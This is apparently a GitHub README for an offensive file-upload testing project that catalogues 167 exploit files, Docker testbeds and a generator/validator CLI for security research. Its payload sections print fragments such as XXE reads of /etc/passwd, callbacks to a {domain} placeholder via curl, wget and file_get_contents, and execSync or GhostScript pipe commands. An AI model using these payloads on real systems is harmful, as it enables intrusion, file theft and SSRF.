Skip to content

Latest commit

 

History

5 Commits

Folders and files

NameName
Last commit message
Last commit date
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 

Repository files navigation

Malicious File Upload Database

Found a file that doesn't work? If any file does not behave as expected in its exploit chain, please open an issue and we will fix it. Pull requests are also welcome!

Research is ongoing. This project is under active development and will be updated regularly with new file types, vulnerability classes, and testbed stacks.

Disclaimer: These files are provided for authorized security testing, education, and research purposes only. The authors assume no responsibility or liability for any misuse or downstream effects. Use entirely at your own risk. By using this project you accept full responsibility for your actions.

License: MIT - see LICENSE

167 validated exploit files covering 12 vulnerability classes, 17 file categories, and 31 Docker testbed stacks. Every file produces a real, measurable exploit signal when uploaded to its target. Zero theoretical payloads.

Validation: 167 tested / 167 fire / 0 failures / 0 skipped against 31 Docker testbed stacks. Strict validation proves actual exploitation (server-side computation returning 1337, real /etc/passwd content leaked, OOB callbacks received from target containers, measured timing delays >4.5s, actual parser crashes) -- not string matching.


Concept

The Problem with File Upload Testing

Most file upload testing relies on extension blocklists, MIME type checks, and a handful of well-known webshell filenames. A tester uploads shell.php, it gets blocked, and they move on. The actual attack surface -- image processors, document converters, archive extractors, template engines, deserialization endpoints, PDF renderers, font parsers, and build pipelines -- goes untested because the payloads don't exist or have never been validated against real infrastructure.

Traditional malicious file collections have three problems. First, many files are theoretical -- they describe the exploit but were never tested against a real vulnerable application. Second, they target a single vulnerability class (usually webshells) while ignoring the dozen other ways uploaded files become dangerous. Third, there's no way to confirm a file actually works without manually setting up the vulnerable environment.

Validated Files, Real Testbeds

This project takes a different approach. Every file is a crafted exploit that targets a specific server-side processing pipeline. Each file is generated deterministically by Python scripts, uploaded to a purpose-built Docker testbed running the genuinely vulnerable software, and verified to produce a measurable exploit signal.

The files aren't organized by file extension -- they're organized by what happens when the server processes them:

  • A JPEG that executes as PHP when Apache serves it from an upload directory
  • A DjVu file that triggers CVE-2021-22204 in ExifTool 11.70, executing arbitrary commands
  • A DOCX containing XXE in word/document.xml that leaks /etc/passwd through lxml entity resolution
  • A pickle file that calls urllib.request.urlopen() to make an outbound HTTP request
  • An EJS template that runs require('child_process').execSync() when rendered server-side
  • A Makefile that executes shell commands when processed by a CI/CD build runner

Every file must produce at least one detection pillar signal -- a concrete, observable behavior that proves the exploit landed. If a file doesn't produce a signal against its testbed, it doesn't belong in the database.

12 Vulnerability Classes

The files cover the full taxonomy of file upload exploitation, not just webshells:

# Class Files What Happens
1 Direct server-side execution 34 Uploaded file runs as code (PHP, JSP, Python, Perl, CGI, SSI)
2 Template execution 15 Uploaded template rendered server-side (Jinja2, EJS, ERB)
3 Plugin/bundle deploy 4 Uploaded WAR auto-deployed by Tomcat
4 Unsafe deserialization 19 Uploaded serialized object triggers code execution (pickle, YAML, PHP unserialize, node-serialize, JSON prototype pollution)
5 Parser/converter RCE 31 Backend tool exploited during processing (ImageMagick, ExifTool, GhostScript, Pillow, FFmpeg, fonts, SVG, PDF, wkhtmltopdf)
6 Archive extraction 6 Extracted files escape upload directory or exhaust resources (zip slip, tar slip, symlink)
7 XXE / XML parser 9 XML parsing leaks files or makes outbound requests (XXE, XSLT, DOCX/XLSX XXE)
8 Browser-side XSS 13 Uploaded HTML/SVG/Markdown served to browsers with active content
9 Desktop client execution 7 Document exploits targeting office software (DOCX template inject, DDE, PPTX SSRF, PDF actions)
10 CI/CD build pipeline 11 Uploaded build files execute during processing (Makefile, shell scripts, LaTeX)
11 Cloud/storage exploits 7 Policy file override, config secret exposure, cloud metadata SSRF
12 Microservice/event processing 7 Uploaded data exploits downstream processors (CSV formula injection, SQLite injection)

Picking the Right File for a Target

See HOWTOUSE.md for the operator guide: target-profiling decision flow, per-category firing context, a fingerprint→category selection matrix, and pillar-selection rules. Use it before you upload anything - the database is organized by processing pipeline, not extension, so picking the right category means fingerprinting the backend first.


Quick Start

# 1. Generate all exploit files from deterministic specs
./tools/uploadctl generate

# 2. Prepare files with your OOB callback domain
#    Replaces {domain} placeholder in all OOB/SSRF payloads
./tools/uploadctl prepare YOUR_CALLBACK.oastify.com

# 3. Start testbed stacks (Docker required)
cd testbed
./testbed up upload-php-apache
./testbed up imagemagick-6
./testbed up xml-parse
# ... (31 stacks total)

# 4. Validate all files against running testbeds
cd ..
./tools/uploadctl validate
# Output: 167/167 fired (100%), 0 skipped

Generated files are in files/sources/ organized by category. Prepared files (with {domain} replaced) go to files/ready/.


Detection Pillars

Every file produces at least one of these signals when processed by its target:

Pillar Files What to look for Proves
Math 43 1337 in response (server computed 7*191) Server-side code execution
Reflected 32 XSS payload served, config data leaked, PDF actions extracted Unsafe content handling
File-read 31 root:x:0:0 in response, path traversal, symlink read Local file disclosure
OOB 30 HTTP callback received by your server Blind SSRF / code execution
Timing 17 Response takes >4.5 seconds (from sleep(5)) Blind code execution
Error 14 Process crash, memory exhaustion (>200MB), parser error DoS / malformed input handling

Canary value: 1337 (from 7*191). Payloads send the expression 7*191, not the literal 1337. If 1337 appears in the response, the server evaluated the expression -- proof of code execution.

Strict validation criteria:

  • Math: standalone 1337 via word-boundary regex (not part of 13374 or file sizes)
  • OOB: callback catcher cleared before each test, verified receipt after upload
  • Timing: measured wall-clock response time >4500ms
  • File-read: actual /etc/passwd format (root:x:N:N), not just the string "root"
  • Reflected: payload content verified in served response body, not upload metadata
  • Error: non-zero exit code, memory >200MB, or decompression ratio >100x

File Coverage

By Category

Category Files Targets Formats
shells 30 upload-php-apache, upload-php-nginx, tomcat, upload-python PHP (.php, .phtml, .pHp, .php5, .phar, .inc, .php.jpg, .php;.jpg), JSP (.jsp, .jspx, .jspf), Python, Perl, CGI, SSI
images 19 imagemagick-6, exiftool-vuln, pillow-process, svg-render, xml-parse SVG, DjVu (CVE-2021-22204), PNG, GIF, JPEG, EPS, MVG
xml-serialization 19 xml-parse, yaml-parse, pickle-load, docx-parse XML XXE, XSLT, YAML (Python), Pickle, JSON
stored-xss 13 upload-node HTML, Markdown, JPEG/GIF polyglots
data 12 csv-process, latex-compile, sqlite-load CSV, LaTeX, SQLite
archives 10 extract-zip, extract-tar, tomcat, upload-php-apache ZIP (slip, shell, symlink), TAR (slip, symlink), WAR
templates-ext 10 ejs-render, erb-render EJS (Node.js), ERB (Ruby)
documents 8 pdf-render, docx-parse PDF (JS, Launch, XXE, form submit), DOCX (template inject, XXE), XLSX (DDE, XXE), PPTX
deserialization 8 php-unserialize, node-deserial, ruby-deserial PHP serialized objects, Node node-serialize (CVE-2017-5941), Ruby YAML
server-config 7 upload-php-apache, upload-php-nginx, upload-node, upload-python .htaccess, .user.ini, crossdomain.xml, clientaccesspolicy.xml, .env, .npmrc
polyglots 6 upload-php-apache, extract-zip JPEG+PHP, GIF+ZIP, PNG+ZIP, PDF+ZIP, BMP+PHP, PHAR+JPEG
cicd 6 build-runner Makefile, shell scripts
media 5 ffmpeg-process, upload-node HLS (.m3u8), FFmpeg concat, AVI, MP4, SRT
templates 5 template-render Jinja2 (Python)
wkhtmltopdf 4 wkhtmltopdf HTML with SSRF via img, link, XHR, meta refresh
fonts 3 font-render TTF, OTF, WOFF (malformed)
cloud 2 docx-parse, cloud-meta DOCX/PDF with cloud metadata SSRF

By Pillar (What Each File Actually Does)

Math (43 files) -- server computes 7*191 and returns 1337:

  • PHP shells compute 7*191 via echo 7*191;
  • JSP shells via out.print(7*191);
  • Python pickle/YAML via subprocess.check_output(["sh","-c","echo $((7*191))"])
  • ExifTool DjVu via system('echo 1337') (CVE-2021-22204)
  • GhostScript EPS via %pipe%echo $((7*191))
  • EJS/ERB templates via require('child_process').execSync() / backtick execution
  • Makefile/shell scripts via expr 7 \* 191 / echo $((7*191))
  • CSV formula via Python eval() on =__import__('os').popen('echo $((7*191))').read()

OOB (30 files) -- target makes outbound HTTP request to callback server:

  • PHP shells via file_get_contents("http://{domain}/...")
  • ExifTool DjVu via system('wget ...') (CVE-2021-22204)
  • XXE via <!ENTITY xxe SYSTEM "http://{domain}/...">
  • XSLT via document('http://{domain}/...')
  • DOCX/PPTX via external relationship URL in .rels
  • PDF via app.launchURL() and SubmitForm actions
  • wkhtmltopdf via <img src>, <link href>, XMLHttpRequest
  • Jinja2/EJS/ERB SSTI via os.popen('curl ...') / require('http').get() / Net::HTTP.get()

File-read (31 files) -- response contains actual /etc/passwd content:

  • PHP shells via file_get_contents("/etc/passwd")
  • XXE via <!ENTITY xxe SYSTEM "file:///etc/passwd">
  • XSLT via document('file:///etc/passwd') with custom URI resolver
  • DOCX/XLSX XXE via entity in word/document.xml / xl/sharedStrings.xml
  • ZIP/TAR slip via ../../../tmp/pwned path traversal entries
  • Pickle/YAML via open('/etc/passwd').read() / subprocess.check_output(["cat","/etc/passwd"])
  • GhostScript EPS via %pipe%cat /etc/passwd

Timing (17 files) -- response takes >4.5 seconds:

  • PHP sleep shells via sleep(5);
  • JSP via Thread.sleep(5000);
  • Python via time.sleep(5) (pickle, YAML, direct)
  • ExifTool DjVu via system('sleep 5') (CVE-2021-22204)
  • Jinja2/EJS/ERB SSTI via os.popen('sleep 5') / execSync('sleep 5') / sleep(5)
  • Makefile via @sleep 5
  • CSV formula via __import__('time').sleep(5)

Testbed Stacks (31)

Every testbed simulates a real-world application deployment. No contrived test harnesses.

Stack Port Simulates Genuinely Vulnerable To
upload-php-apache 9001 WordPress/Drupal/Laravel on Apache PHP shell upload, .htaccess override, double extension bypass
upload-php-nginx 9002 PHP apps behind Nginx + PHP-FPM PHP shell via .php extension, .user.ini override
upload-node 9003 Express.js/Next.js/Strapi Stored XSS, prototype pollution (CVE-2018-3721), dotfile exposure
upload-python 9004 Jupyter/CI runners/Python CGI Python script execution, file read
tomcat 9032 Jenkins/Jira/Confluence/Spring Boot WAR auto-deploy, JSP execution
imagemagick-6 9010 WordPress thumbnails/GitLab/Discourse GhostScript pipe RCE, file read (policy.xml removed, -dNOSAFER)
exiftool-vuln 9012 Photo galleries/DAM/GitLab CI CVE-2021-22204 DjVu RCE (ExifTool 11.70)
pillow-process 9013 Django/Flask image resize Decompression bomb (MAX_IMAGE_PIXELS=None), ICC crash
svg-render 9051 Badge generators/doc converters SVG XSS attributes, XXE entity resolution
xml-parse 9040 SOAP services/config importers XXE file read, XSLT RCE, billion laughs (lxml resolve_entities=True)
extract-zip 9030 Plugin installers/bulk import Zip slip (extractall without sanitization), symlink read
extract-tar 9031 CI/CD artifact extraction Tar slip, symlink to /etc/passwd
ffmpeg-process 9014 Video platforms/Plex/Jellyfin HLS SSRF, concat file read (protocol_whitelist allows file/http)
pdf-render 9020 Invoice processors/doc preview PDF JS extraction, Launch action, XXE in XMP, form submit
docx-parse 9022 Resume parsers/CRM import DOCX/XLSX XXE (lxml entity resolution), template URL fetch, DDE
yaml-parse 9041 Kubernetes configs/CI pipelines Python YAML unsafe Loader (arbitrary object construction)
pickle-load 9042 ML model loading/sklearn Python pickle with unrestricted __reduce__
template-render 9070 CMS editors/email builders Jinja2 SSTI via render_template_string()
ejs-render 9076 Node.js CMS/report generators EJS SSTI with require() exposed
erb-render 9077 Rails views/report generators ERB SSTI with full Ruby eval
latex-compile 9071 Overleaf/academic paper processors LaTeX shell-escape (\write18, \directlua, \input pipe)
csv-process 9073 Spreadsheet/ETL pipelines Python eval() on formula cells
sqlite-load 9072 Mobile app sync/config databases SQL injection via crafted table names, load_extension
font-render 9050 Typography tools/PDF generators FreeType/fonttools parser crashes
cloud-meta 9060 AWS/GCP/Azure deployments Mock IMDS at 169.254.169.254 with fake credentials
php-unserialize 9074 WordPress/Magento session stores PHP unserialize() with Logger/FileReader gadgets
node-deserial 9079 Node.js session/state import node-serialize IIFE execution (CVE-2017-5941)
ruby-deserial 9078 Rails session/cache restore Ruby YAML.load with permitted dangerous classes
wkhtmltopdf 9080 Invoice/report PDF generation SSRF via embedded URLs (img, link, XHR, meta refresh)
build-runner 9081 Jenkins/GitLab CI/build services Makefile/shell script execution
imagemagick-7 9011 Patched IM (comparison baseline) OOM from large PNG dimensions

CLI Tool (uploadctl)

# Generate all exploit files from specs
./tools/uploadctl generate

# Generate specific category
./tools/uploadctl generate archives
./tools/uploadctl generate templates_ext

# Prepare files with OOB callback domain
./tools/uploadctl prepare YOUR_CALLBACK.oastify.com

# Validate against running testbeds
./tools/uploadctl validate

# Validate specific category
./tools/uploadctl validate --category images
./tools/uploadctl validate --category cicd

Development Workflow

# 1. Edit a generator
vim tools/generate/gen_shells.py

# 2. Regenerate
./tools/uploadctl generate

# 3. Start testbeds
cd testbed/stacks/upload-php-apache && docker compose up -d && cd ../../..

# 4. Validate
./tools/uploadctl validate --category shells
# Expect: N/N fired (100%), 0 skipped

Repository Structure

.
├── README.md                              # This file
├── HOWTOUSE.md                            # Operator guide: target profiling + category selection matrix
├── SPEC.md                                # Technical spec
├── LICENSE                                # MIT
│
├── tools/
│   ├── uploadctl                          # CLI entry point
│   ├── cmd_generate.py                    # Generate files from specs
│   ├── cmd_validate.py                    # Validate against testbeds
│   ├── cmd_prepare.py                     # Substitute {domain} in OOB files
│   └── generate/                          # Per-category generators
│       ├── gen_polyglots.py               # Format polyglots (JPEG+PHP, GIF+ZIP, etc.)
│       ├── gen_shells.py                  # Web shells (PHP, JSP, Python, Perl, CGI, SSI)
│       ├── gen_images.py                  # Image processor exploits (ExifTool, GhostScript, SVG)
│       ├── gen_documents.py               # Document exploits (PDF, DOCX, XLSX, PPTX)
│       ├── gen_archives.py                # Archive exploits (zip slip, tar slip, WAR deploy)
│       ├── gen_xml.py                     # XXE, XSLT, YAML/Pickle deserialization
│       ├── gen_media.py                   # Media exploits (FFmpeg HLS/concat, SRT XSS)
│       ├── gen_config.py                  # Server config files (.htaccess, .user.ini, .env)
│       ├── gen_fonts.py                   # Malformed font files (TTF, OTF, WOFF)
│       ├── gen_cloud.py                   # Cloud SSRF (DOCX/PDF with metadata URLs)
│       ├── gen_xss.py                     # Stored XSS (HTML, Markdown, polyglots)
│       ├── gen_templates.py               # Jinja2 SSTI payloads
│       ├── gen_data.py                    # Data file exploits (CSV, LaTeX, SQLite)
│       ├── gen_deserial.py                # Deserialization (PHP, Node, Ruby)
│       ├── gen_templates_ext.py           # Template engines (EJS, ERB)
│       ├── gen_cicd.py                    # CI/CD exploits (Makefile, shell scripts)
│       └── gen_wkhtmltopdf.py             # wkhtmltopdf SSRF payloads
│
├── files/
│   ├── sources/                           # Generated exploit files by category
│   │   ├── polyglots/                     # JPEG+PHP, GIF+ZIP, etc.
│   │   ├── shells/                        # Web shells (30 variants)
│   │   ├── images/                        # Image processor exploits
│   │   ├── documents/                     # PDF, DOCX, XLSX, PPTX
│   │   ├── archives/                      # ZIP/TAR slip, WAR deploy
│   │   ├── xml-serialization/             # XXE, XSLT, YAML, Pickle
│   │   ├── media/                         # FFmpeg, subtitle XSS
│   │   ├── server-config/                 # .htaccess, .user.ini, .env
│   │   ├── fonts/                         # Malformed fonts
│   │   ├── cloud/                         # Cloud SSRF
│   │   ├── stored-xss/                    # HTML, Markdown XSS
│   │   ├── templates/                     # Jinja2 SSTI
│   │   ├── templates-ext/                 # EJS, ERB SSTI
│   │   ├── data/                          # CSV, LaTeX, SQLite
│   │   ├── deserialization/               # PHP, Node, Ruby serial
│   │   ├── cicd/                          # Makefile, shell scripts
│   │   └── wkhtmltopdf/                   # wkhtmltopdf SSRF
│   ├── manifest.json                      # File metadata and target mapping
│   └── ready/                             # Output from prepare (gitignored)
│
└── testbed/
    ├── testbed                            # CLI: ./testbed up <stack>
    ├── docker-compose.oob.yml             # OOB callback catcher
    ├── shared/oob-catcher/                # HTTP + TCP callback server
    └── stacks/                            # 31 vulnerable application stacks
        ├── upload-php-apache/             # PHP 7.4 / Apache (AllowOverride All)
        ├── upload-php-nginx/              # PHP 8.1 / Nginx + PHP-FPM
        ├── upload-node/                   # Node 18 / Express + multer + lodash@4.17.4
        ├── upload-python/                 # Python 3.11 / Flask + script execution
        ├── tomcat/                        # Tomcat 9 / JDK 17 (manager + auto-deploy)
        ├── imagemagick-6/                 # IM 6.9.11 + GhostScript -dNOSAFER
        ├── exiftool-vuln/                 # ExifTool 11.70 (CVE-2021-22204)
        ├── pillow-process/                # Pillow (MAX_IMAGE_PIXELS=None)
        ├── svg-render/                    # cairosvg + lxml
        ├── xml-parse/                     # lxml (resolve_entities=True, XSLT enabled)
        ├── extract-zip/                   # Python zipfile.extractall()
        ├── extract-tar/                   # Python tarfile.extractall()
        ├── ffmpeg-process/                # FFmpeg (protocol_whitelist file,http)
        ├── pdf-render/                    # Ghostscript + qpdf + PDF.js
        ├── docx-parse/                    # python-docx + openpyxl + lxml XXE
        ├── yaml-parse/                    # PyYAML unsafe Loader
        ├── pickle-load/                   # pickle.loads() unrestricted
        ├── template-render/               # Flask render_template_string()
        ├── ejs-render/                    # EJS with require() exposed
        ├── erb-render/                    # Ruby ERB with full eval
        ├── latex-compile/                 # pdflatex -shell-escape
        ├── csv-process/                   # Python eval() on formula cells
        ├── sqlite-load/                   # SQLite with unsanitized table names
        ├── font-render/                   # FreeType + fonttools
        ├── cloud-meta/                    # Mock AWS IMDS (169.254.169.254)
        ├── php-unserialize/               # PHP unserialize() with gadgets
        ├── node-deserial/                 # node-serialize 0.0.4 (CVE-2017-5941)
        ├── ruby-deserial/                 # Ruby YAML.load + Marshal.load
        ├── wkhtmltopdf/                   # wkhtmltopdf 0.12.6 (SSRF)
        ├── build-runner/                  # make + sh execution
        └── imagemagick-7/                 # IM 7.x (patched baseline)

Adding Files

Add a file to an existing category

  1. Write a generator function in tools/generate/gen_<category>.py
  2. Generator must produce deterministic output (same bytes every run)
  3. The file must fire against at least one testbed endpoint
  4. Validate: ./tools/uploadctl validate --category <category>

Add a new category

  1. Create tools/generate/gen_<category>.py with a generate(output_dir) function returning entries
  2. Register in tools/cmd_generate.py CATEGORIES list
  3. Create testbed stack in testbed/stacks/<stack-name>/
  4. Add port mapping in tools/cmd_validate.py STACK_PORTS
  5. Validate: all files must fire

Rules

  • Every file must produce a measurable detection signal against its target
  • Generators must be deterministic (no randomness, no timestamps)
  • No external tool dependencies beyond Python 3 stdlib for generation
  • Files with {domain} placeholders are substituted by prepare step
  • Web shells compute 7*191 (not literal 1337) to prove server-side evaluation
  • Archive exploits include traversal paths or symlinks that the extractor follows
  • Multi-step exploits (.htaccess, .user.ini) are validated with the full attack chain

Credits

Researched and developed by gromhacks. Built on techniques documented by the security research community including Corkami (Ange Albertini's file format research), Snyk (zip slip), ImageTragick researchers, Google Project Zero (font exploits), PortSwigger Web Security Academy, OWASP file upload guidelines, and individual researchers publishing CVE analysis. All files validated against real vulnerable applications.

About

167 validated malicious file upload exploits covering 12 vulnerability classes and 31 Docker testbed stacks. Every file produces a real exploit signal. Zero theoretical payloads.

Resources

Stars

2 stars

Watchers

0 watching

Forks

Releases

Packages

Contributors

Languages